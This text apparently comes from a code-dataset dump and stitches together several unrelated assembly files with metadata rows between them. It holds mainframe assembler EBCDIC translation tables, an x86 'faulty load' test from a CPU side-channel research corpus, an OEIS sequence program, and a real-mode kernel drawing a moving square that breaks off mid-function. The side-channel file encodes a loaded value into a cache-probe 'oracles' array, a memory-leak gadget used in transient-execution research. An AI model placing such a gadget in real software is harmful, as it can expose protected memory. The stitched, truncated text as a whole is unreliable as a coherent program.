DC X'E3998195A28183A389969500C1829699' Transaction.Abor
DC X'A38584D596A3C18392858400C1829699' tedNotAcked.Abor
DC X'A381829385C5999996990000' tableError..
*
*
* Re-entrant Data Initialization Section
*
@@INIT@ ALIAS C'@rdavl:'
@@INIT@ CSECT
@@INIT@ AMODE ANY
@@INIT@ RMODE ANY
DC XL1'5'
DC AL3(0)
DC AL4(288)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000001'
DC X'00000000'
DC X'000000FF'
DC X'0102039C09867F978D8E0B0C0D0E0F10' .....f.p........
DC X'1112139D8508871819928F1C1D1E1F80' ....e.g..k......
DC X'818283840A171B88898A8B8C05060790' abcd...hi.......
DC X'9116939495960498999A9B14159E1A20' j.lmno.qr.......
DC X'A0E2E4E0E1E3E5E7F1A22E3C282B7C26' .SU..TVX1s......
DC X'E9EAEBE8EDEEEFECDF21242A293B5E2D' Z..Y............
DC X'2FC2C4C0C1C3C5C7D1A62C255F3E3FF8' .BD.ACEGJw.....8
DC X'C9CACBC8CDCECFCC603A2340273D22D8' I..H...........Q
DC X'616263646566676869ABBBF0FDFEB1B0' ...........0....
DC X'6A6B6C6D6E6F707172AABAE6B8C6A4B5' ...........W.Fu.
DC X'7E737475767778797AA1BFD05BDEAEAC' ................
DC X'A3A5B7A9A7B6BCBDBEDDA8AF5DB4D77B' tv.zx.....y...P.
DC X'414243444546474849ADF4F6F2F3F57D' ..........46235.
DC X'4A4B4C4D4E4F505152B9FBFCF9FAFF5C' ............9...
DC X'F7535455565758595AB2D4D6D2D3D530' 7.........MOKLN.
DC X'313233343536373839B3DBDCD9DA9F40' ............R...
*
DC XL1'5'
DC AL3(0)
DC AL4(480)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000101'
DC X'00000000'
DC X'000000A0'
DC X'010203372D2E2F1605150B0C0D0E0F10' ................
DC X'1112133C3D322618193F271C1D1E1F40' ................
DC X'5A7F7B5B6C507D4D5D5C4E6B604B61F0' ...............0
DC X'F1F2F3F4F5F6F7F8F97A5E4C7E6E6F7C' 123456789.......
DC X'C1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7' ABCDEFGHIJKLMNOP
DC X'D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D79' QRSTUVWXYZ......
DC X'81828384858687888991929394959697' abcdefghijklmnop
DC X'9899A2A3A4A5A6A7A8A9C04FD0A10720' qrstuvwxyz......
DC X'2122232425061728292A2B2C090A1B30' ................
DC X'311A333435360838393A3B04143EFF80' ................
*
DC XL1'5'
DC AL3(0)
DC AL4(520)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000001C0'
DC X'00000000'
DC X'00000001'
DC X'8A40404040404040' ........
*
DC XL1'5'
DC AL3(0)
DC AL4(560)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000001E0'
DC X'00000000'
DC X'00000001'
DC X'8B40404040404040' ........
*
DC XL1'D'
DC AL3(0)
DC AL4(600)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000220'
DC ADL8(@DATA)
DC X'00000000'
DC X'000001D2'
*
DC XL1'D'
DC AL3(0)
DC AL4(640)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000228'
DC ADL8(@DATA)
DC X'00000000'
DC X'000001DA'
*
DC XL1'D'
DC AL3(0)
DC AL4(680)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000230'
DC ADL8(@DATA)
DC X'00000000'
DC X'000001E0'
*
DC XL1'D'
DC AL3(0)
DC AL4(720)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000238'
DC ADL8(@DATA)
DC X'00000000'
DC X'000001E8'
*
DC XL1'D'
DC AL3(0)
DC AL4(760)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000240'
DC ADL8(@DATA)
DC X'00000000'
DC X'000001F2'
*
DC XL1'D'
DC AL3(0)
DC AL4(800)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000248'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000200'
*
DC XL1'D'
DC AL3(0)
DC AL4(840)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000250'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000020C'
*
DC XL1'D'
DC AL3(0)
DC AL4(880)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000258'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000021C'
*
DC XL1'D'
DC AL3(0)
DC AL4(920)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000260'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000230'
*
DC XL1'D'
DC AL3(0)
DC AL4(960)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000268'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000023E'
*
DC XL1'D'
DC AL3(0)
DC AL4(1000)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000270'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000024A'
*
DC XL1'D'
DC AL3(0)
DC AL4(1040)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000278'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000025A'
*
DC XL1'D'
DC AL3(0)
DC AL4(1080)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000280'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000264'
*
DC XL1'D'
DC AL3(0)
DC AL4(1120)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000288'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000026E'
*
DC XL1'D'
DC AL3(0)
DC AL4(1160)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000290'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000027A'
*
DC XL1'D'
DC AL3(0)
DC AL4(1200)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000298'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000284'
*
DC XL1'D'
DC AL3(0)
DC AL4(1240)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002A0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000294'
*
DC XL1'D'
DC AL3(0)
DC AL4(1280)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002A8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002A0'
*
DC XL1'D'
DC AL3(0)
DC AL4(1320)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002B0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002AE'
*
DC XL1'D'
DC AL3(0)
DC AL4(1360)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002B8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002BA'
*
DC XL1'D'
DC AL3(0)
DC AL4(1400)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002C0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002C8'
*
DC XL1'D'
DC AL3(0)
DC AL4(1440)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002C8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002D6'
*
DC XL1'D'
DC AL3(0)
DC AL4(1480)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002D0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002E4'
*
DC XL1'D'
DC AL3(0)
DC AL4(1520)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002D8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000002F4'
*
DC XL1'D'
DC AL3(0)
DC AL4(1560)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002E0'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000030A'
*
DC XL1'D'
DC AL3(0)
DC AL4(1600)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002E8'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000031E'
*
DC XL1'D'
DC AL3(0)
DC AL4(1640)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002F0'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000032E'
*
DC XL1'D'
DC AL3(0)
DC AL4(1680)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000002F8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000336'
*
DC XL1'D'
DC AL3(0)
DC AL4(1720)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000300'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000346'
*
DC XL1'D'
DC AL3(0)
DC AL4(1760)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000308'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000356'
*
DC XL1'D'
DC AL3(0)
DC AL4(1800)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000310'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000364'
*
DC XL1'D'
DC AL3(0)
DC AL4(1840)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000318'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000370'
*
DC XL1'D'
DC AL3(0)
DC AL4(1880)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000320'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000037C'
*
DC XL1'D'
DC AL3(0)
DC AL4(1920)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000328'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000038C'
*
DC XL1'D'
DC AL3(0)
DC AL4(1960)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000330'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000039A'
*
DC XL1'D'
DC AL3(0)
DC AL4(2000)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000338'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003AE'
*
DC XL1'D'
DC AL3(0)
DC AL4(2040)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000340'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003BE'
*
DC XL1'D'
DC AL3(0)
DC AL4(2080)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000348'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003D0'
*
DC XL1'D'
DC AL3(0)
DC AL4(2120)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000350'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003E2'
*
DC XL1'D'
DC AL3(0)
DC AL4(2160)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000358'
DC ADL8(@DATA)
DC X'00000000'
DC X'000003F8'
*
DC XL1'D'
DC AL3(0)
DC AL4(2200)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000360'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000040E'
*
DC XL1'D'
DC AL3(0)
DC AL4(2240)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000368'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000424'
*
DC XL1'D'
DC AL3(0)
DC AL4(2280)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000370'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000043C'
*
DC XL1'D'
DC AL3(0)
DC AL4(2320)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000378'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000044A'
*
DC XL1'D'
DC AL3(0)
DC AL4(2360)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000380'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000045E'
*
DC XL1'D'
DC AL3(0)
DC AL4(2400)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000388'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000047E'
*
DC XL1'D'
DC AL3(0)
DC AL4(2440)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000390'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004A2'
*
DC XL1'D'
DC AL3(0)
DC AL4(2480)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000398'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004C4'
*
DC XL1'D'
DC AL3(0)
DC AL4(2520)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003A0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004D8'
*
DC XL1'D'
DC AL3(0)
DC AL4(2560)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003A8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000004F4'
*
DC XL1'D'
DC AL3(0)
DC AL4(2600)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003B0'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000050E'
*
DC XL1'D'
DC AL3(0)
DC AL4(2640)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003B8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000532'
*
DC XL1'D'
DC AL3(0)
DC AL4(2680)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003C0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000554'
*
DC XL1'D'
DC AL3(0)
DC AL4(2720)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003C8'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000560'
*
DC XL1'D'
DC AL3(0)
DC AL4(2760)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003D0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000578'
*
DC XL1'D'
DC AL3(0)
DC AL4(2800)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003D8'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000058E'
*
DC XL1'D'
DC AL3(0)
DC AL4(2840)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003E0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005A4'
*
DC XL1'D'
DC AL3(0)
DC AL4(2880)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003E8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005B4'
*
DC XL1'D'
DC AL3(0)
DC AL4(2920)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000003F0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005CA'
*
DC XL1'D'
DC AL3(0)
DC AL4(2960)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004C0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005DA'
*
DC XL1'D'
DC AL3(0)
DC AL4(3000)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004C8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005E0'
*
DC XL1'D'
DC AL3(0)
DC AL4(3040)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004D0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005E6'
*
DC XL1'D'
DC AL3(0)
DC AL4(3080)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004D8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005EE'
*
DC XL1'D'
DC AL3(0)
DC AL4(3120)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004E0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005F2'
*
DC XL1'D'
DC AL3(0)
DC AL4(3160)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000004E8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000005F8'
*
DC XL1'D'
DC AL3(0)
DC AL4(3200)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000510'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000600'
*
DC XL1'D'
DC AL3(0)
DC AL4(3240)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000518'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000060C'
*
DC XL1'D'
DC AL3(0)
DC AL4(3280)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000520'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000614'
*
DC XL1'D'
DC AL3(0)
DC AL4(3320)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000528'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000061E'
*
DC XL1'D'
DC AL3(0)
DC AL4(3360)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000630'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000626'
*
DC XL1'D'
DC AL3(0)
DC AL4(3400)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000638'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000062C'
*
DC XL1'D'
DC AL3(0)
DC AL4(3440)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000640'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000636'
*
DC XL1'D'
DC AL3(0)
DC AL4(3480)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000648'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000642'
*
DC XL1'D'
DC AL3(0)
DC AL4(3520)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000650'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000064E'
*
DC XL1'D'
DC AL3(0)
DC AL4(3560)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000658'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000065C'
*
DC XL1'D'
DC AL3(0)
DC AL4(3600)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000660'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000664'
*
DC XL1'D'
DC AL3(0)
DC AL4(3640)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000668'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000066E'
*
DC XL1'D'
DC AL3(0)
DC AL4(3680)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000670'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000067A'
*
DC XL1'D'
DC AL3(0)
DC AL4(3720)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000678'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000626'
*
DC XL1'D'
DC AL3(0)
DC AL4(3760)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000680'
DC ADL8(@DATA)
DC X'00000000'
DC X'0000065C'
*
DC XL1'D'
DC AL3(0)
DC AL4(3800)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000688'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000684'
*
DC XL1'D'
DC AL3(0)
DC AL4(3840)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000690'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000692'
*
DC XL1'D'
DC AL3(0)
DC AL4(3880)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'00000698'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000698'
*
DC XL1'D'
DC AL3(0)
DC AL4(3920)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006A0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006A6'
*
DC XL1'D'
DC AL3(0)
DC AL4(3960)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006A8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006B2'
*
DC XL1'D'
DC AL3(0)
DC AL4(4000)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006B0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006C8'
*
DC XL1'D'
DC AL3(0)
DC AL4(4040)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006B8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006D8'
*
DC XL1'D'
DC AL3(0)
DC AL4(4080)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006C0'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006EC'
*
DC XL1'D'
DC AL3(0)
DC AL4(4120)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006C8'
DC ADL8(@DATA)
DC X'00000000'
DC X'000006FC'
*
DC XL1'D'
DC AL3(0)
DC AL4(0)
DC 4X'00'
DC Q(@@STATIC)
DC X'00000000'
DC X'000006D0'
DC ADL8(@DATA)
DC X'00000000'
DC X'00000636'
*
END
| 27.89289 | 72 | 0.456215 |
d832e1b43cd5c67e2fb3aec225d386c044839990 | 3,685 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_501.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_501.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_501.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r8
push %rbx
push %rcx
push %rdi
// Faulty Load
lea addresses_A+0x11d3, %r12
nop
nop
cmp %r8, %r8
mov (%r12), %edi
lea oracles, %r13
and $0xff, %rdi
shlq $12, %rdi
mov (%r13,%rdi,1), %rdi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 87.738095 | 2,999 | 0.662958 |
1b6190de2931451a7ab02020adec18d0ae3f9628 | 632 | asm | Assembly | oeis/036/A036222.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/036/A036222.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/036/A036222.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A036222: Expansion of 1/(1-3*x)^9; 9-fold convolution of A000244 (powers of 3).
; 1,27,405,4455,40095,312741,2189187,14073345,84440070,478493730,2583866142,13389124554,66945622770,324428787270,1529449997130,7035469986798,31659614940591,139674771796725,605257344452475,2580307626350025,10837292030670105,44897352698490435,183670988312006325,742669648392025575,2970678593568102300,11763887230529685108,46150634519770303116,179474689799106734340,692259517796554546740,2649682981910950161660,10068795331261610614308,38001582379277691673356,142505933922291343775085
mov $1,3
pow $1,$0
mov $2,$0
add $2,8
bin $2,$0
mul $1,$2
mov $0,$1
| 57.454545 | 480 | 0.851266 |
c70390be480aec51cbcd9ad49ef4528e9ab42ac7 | 1,646 | asm | Assembly | part5/kernelMoving.asm | VARoDeK/realmode-assembly | 4a7af152ee62029671d12a28c0f7d01b83b8fbd7 | [
"Unlicense"
] | 42 | 2018-10-15T17:55:07.000Z | 2022-02-23T08:56:54.000Z | part5/kernelMoving.asm | PhylumChordata/realmode-assembly | 4a7af152ee62029671d12a28c0f7d01b83b8fbd7 | [
"Unlicense"
] | null | null | null | part5/kernelMoving.asm | PhylumChordata/realmode-assembly | 4a7af152ee62029671d12a28c0f7d01b83b8fbd7 | [
"Unlicense"
] | 14 | 2018-10-08T12:36:43.000Z | 2022-02-22T20:19:22.000Z | ;This kernel renders a moving square on the screen
org 0x8000
bits 16
mov ah, 0 ;set display mode
mov al, 13h ;13h = 320x200
int 0x10
mov cx, 160-10 ;let start position be the middle of the screen
mov dx, 100-10
mov si, 20 ;size of square = 20x20 pixel
mov di, 20
mov al, 4 ;red color
main:
call drawBox ;draw our little square
;CLEAR SCREEN AND DON'T CHANGE CONTEXT
pusha
xor al, al
xor dx, dx
xor dx, dx
mov si, 320
mov di, 200
call drawBox
popa
;CLEAR SCREEN AND DON'T CHANGE CONTEXT
add cx, 10 ;add 10 the the x-position of the square
cmp cx, 320-20 ;if square reaches out of screen: reset its x-position
jge .reset
jmp .skip
.reset:
mov cx, 0
.skip:
jmp main ;loop this
;------------------------------------------------------
;cx = xpos , dx = ypos, si = x-length, di = y-length, al = color
drawBox:
